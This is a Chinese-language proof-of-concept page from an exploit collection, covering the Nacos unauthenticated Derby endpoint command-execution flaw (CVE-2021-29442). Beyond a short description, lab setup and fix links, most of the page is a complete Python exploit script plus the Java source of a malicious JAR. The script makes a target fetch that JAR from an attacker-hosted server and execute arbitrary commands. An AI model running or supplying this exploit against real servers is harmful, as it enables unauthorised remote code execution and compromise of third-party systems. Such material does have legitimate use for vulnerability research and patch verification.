Awesome-POC/云安全漏洞/Nacos 未授权接口命令执行漏洞 CVE-2021-29442.md
2024-11-06 14:10:36 +08:00

146 lines
4.8 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Nacos 未授权接口命令执行漏洞 CVE-2021-29442
## 漏洞描述
Nacos 是一个设计用于动态服务发现、配置和服务管理的易于使用的平台。
在 Nacos 1.4.1 之前的版本中,一些 API 端点(如 `/nacos/v1/cs/ops/derby`)可以默认没有鉴权,可以被未经身份验证的用户公开访问。攻击者可以利用该漏洞执行任意 Derby SQL 语句和 Java 代码。
参考链接:
- https://github.com/advisories/GHSA-xv5h-v7jh-p2qh
- https://github.com/alibaba/nacos/issues/4463
- http://www.lvyyevd.cn/archives/derby-shu-ju-ku-ru-he-shi-xian-rce
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/
- https://nacos.io/zh-cn/docs/v2/guide/user/auth.html
## 漏洞影响
```
Nacos未鉴权Nacos<1.4.1且使用Derby数据库作为内置数据源
```
## 环境搭建
Vulhub 执行如下命令启动一个 Alibaba Nacos 1.4.0 服务器:
```
docker compose up -d  
```
服务器启动后,访问 `http://your-ip:8848/nacos/` 可以看到 Nacos 的默认登录页面。
![](images/Nacos%20未授权接口命令执行漏洞%20CVE-2021-29442/image-20240716174011999.png)
## 漏洞复现
将恶意 JAR 包 [evil.jar](https://github.com/vulhub/vulhub/blob/master/nacos/CVE-2021-29442/evil.jar) 上传到攻击者的 HTTP 服务器上,例如 `http://some-webserver/evil.jar`
执行 [POC](poc.py)
```
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"  
```
`-t` 参数指定目标地址,`-s` 参数指定恶意 JAR 包的地址,`-c` 参数指定要执行的命令。
![](images/Nacos%20未授权接口命令执行漏洞%20CVE-2021-29442/image-20240716175547902.png)
## 漏洞 POC
poc.py
```python
import random
import sys
import requests
from urllib.parse import urljoin
import argparse
def exploit(target, command, service):
removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
for i in range(0, sys.maxsize):
id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
"""
get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp"
files = {'file': post_sql}
post_resp = requests.post(url=removal_url, files=files)
post_json = post_resp.json()
if post_json.get('message', None) is None and post_json.get('data', None) is not None:
print(post_resp.text)
get_resp = requests.get(url=derby_url, params={'sql': get_sql})
print(get_resp.text)
break
def main():
parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='Command to execute')
parser.add_argument('-s', '--service', required=True, help='Service URL')
args = parser.parse_args()
exploit(args.target, args.command, args.service)
if __name__ == '__main__':
main()
```
evil.jar
```
package test.poc;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;
public class Example {
public static void main(String[] args) {
String ret = exec("ipconfig");
System.out.println(ret);
}
public static String exec(String cmd) {
StringBuffer bf = new StringBuffer();
try {
String charset = "utf-8";
String osName = System.getProperty("os.name");
if (osName != null && osName.startsWith("Windows"))
charset = "gbk";
Process p = Runtime.getRuntime().exec(cmd);
InputStream fis = p.getInputStream();
InputStreamReader isr = new InputStreamReader(fis, charset);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null)
bf.append(line);
} catch (Exception e) {
StringWriter writer = new StringWriter();
PrintWriter printer = new PrintWriter(writer);
e.printStackTrace(printer);
try {
writer.close();
printer.close();
} catch (IOException iOException) {}
return "ERROR:" + writer.toString();
}
return bf.toString();
}
}
```
## 漏洞修复
- https://nacos-group.github.io/blog/announcement-derby-ops-api/?source=news/ 关于 Nacos Derby 数据库运维接口 `/nacos/v1/cs/ops/derby` 相关问题公告
- https://nacos.io/zh-cn/docs/v2/guide/user/auth.html Nacos 鉴权文档